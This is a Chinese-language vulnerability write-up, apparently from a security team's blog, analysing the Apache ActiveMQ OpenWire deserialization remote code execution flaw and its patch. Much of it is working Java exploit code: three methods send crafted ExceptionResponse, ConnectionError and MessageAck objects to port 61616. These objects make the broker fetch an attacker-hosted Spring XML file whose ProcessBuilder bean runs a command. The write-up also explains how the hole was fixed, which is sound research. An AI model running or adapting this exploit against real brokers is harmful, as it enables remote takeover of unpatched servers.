“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
漏洞简介
影响版本:Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
启动开启5005远程调试端口
(弄了一下午,不知道为什么mac的debug端口5005始终无法连接成功….无所谓,用windows吧)
下载activemq的代码,稍后对其进行断点调试:https://github.com/apache/activemq/archive/refs/tags/activemq-5.15.15.zip
漏洞研究
通过idea的查找发现其实有两处进行了调用
1.org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#tightUnmarsalThrowable
2.org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#looseUnmarsalThrowable
而通过相同的方法寻找上述两者的调用方法,共发现三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable:
ConnectionErrorMarshaller
ExceptionResponseMarshaller
MessageAckMarshaller(我怎么找不到你…)
根据ActiveMQ基础知识和漏洞描述来看,是openwire协议处理时出了问题。而通过OpenWire通信的包会在org.apache.activemq.openwire#doUnmarshal反序列化。调用栈如下:
doUnmarshal:365, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:278, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)
在285行处根据dataType索引值指定的DataStreamMarshaller接口的实现类,调用createObject方法,然后根据 tightEncodingEnabled 选择 tightUnmarshal() 或 looseUnmarshal()
而上述三个类均为 DataStreamMarshaller 接口的实现类,通过这里的分析,只要我们将 1. ConnectionErrorMarshaller 2. ExceptionResponseMarshaller 3. MessageAckMarshaller 三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。
整个利用思路图附上
漏洞利用
ActiveMQ中默认的消息协议就是openwire,因为不是很熟悉ActiveMQ,所以编写一个 ActiveMQ 的通信请求
public static void main(String[] args) throws JMSException {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://10.125.133.141:61616");
Connection connection = connectionFactory.createConnection();
//启动连接
connection.start();
/*
* 创建会话,参数含义:
* 1.transacted - 是否使用事务
* 2.acknowledgeMode - 消息确认机制,可选机制为:
* 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息
* 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制
* 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制
*/ Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
//创建目的地,也就是队列名
Destination destination = session.createQueue("q_test");
//创建消息生成者,该生成者与目的地绑定
MessageProducer mProducer = session.createProducer(destination);
//创建消息
Message message = session.createTextMessage("Hello, ActiveMQ");
//发送消息
mProducer.send(message);
connection.close();
}
而我们这个例子调用过去,发现 datatype 为 1 调用的是 WireFormatInfoMarshaller ,我们需要调用到 datatype 为下面三个其中一个,才能触发漏洞
emmmm但是我们使用的是java原生jar包,可以直接发送这3个的类,并不需要去分析流量去构造数据包(当然比如go写的利用工具、python写的利用工具无法调用方法直接发送,需要构造数据包)
以下可以直接发送类,以下这两个类可以直接调用到
org.apache.activemq.transport.tcp.TcpTransport#oneway
org.apache.activemq.ActiveMQSession#asyncSendPacket
org.apache.activemq.ActiveMQSession#syncSendPacket
或者使用:
((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
public static void ExceptionResponseExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
ExceptionResponse expetionResponse = new ExceptionResponse();
expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
ExploitSession.syncSendPacket(expetionResponse);
//ExploitSession.asyncSendPacket(expetionResponse);
//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
connection.close();
}
这里利用的类是ClassPathXmlApplicationContext 由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
poc里的xml如下:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>notepad</value>
</list>
</constructor-arg>
</bean>
</beans>
相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller
public static void ConnectionErrorExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
ConnectionError connectionError = new ConnectionError();
connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
//ExploitSession.syncSendPacket(connectionError);
//ExploitSession.asyncSendPacket(connectionError);
((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);
connection.close();
}
public static void MessageAckExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
MessageAck messageAck = new MessageAck();
messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
ExploitSession.syncSendPacket(messageAck);
//ExploitSession.asyncSendPacket(messageAck);
//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);
connection.close();
}
启动python服务。
运行src/main/java/com/example/ExceptionResponseExploit.java即可
所以完善一下思维导图如下:
总结一下:由于在61616端口处理时,对类的实例化并未进行严格的校验,导致 任意类实例化,而漏洞利用ClassPathXmlApplicationContext加载外部xml,构造ExceptionResponse、ConnectionErrorMarshaller、MessageAckMarshaller对象发送至61616端口,完成整个调用链子实现rce
漏洞修复
通过检查补丁,我们可以看到添加了一个新的检查OpenWireUtil.validateIsThrowable。此检查可确保在创建新的Throwable对象实例时,实例化的类确实是从Throwable类派生的。
参考:
https://t0ngmystic.com/sec/cve-2023-46604-activemq-rce/ https://www.cnblogs.com/vpandaxjl/p/17955481 https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis https://www.cnblogs.com/kingbridge/articles/17812062.html https://www.kfwx.net/other/23444789.html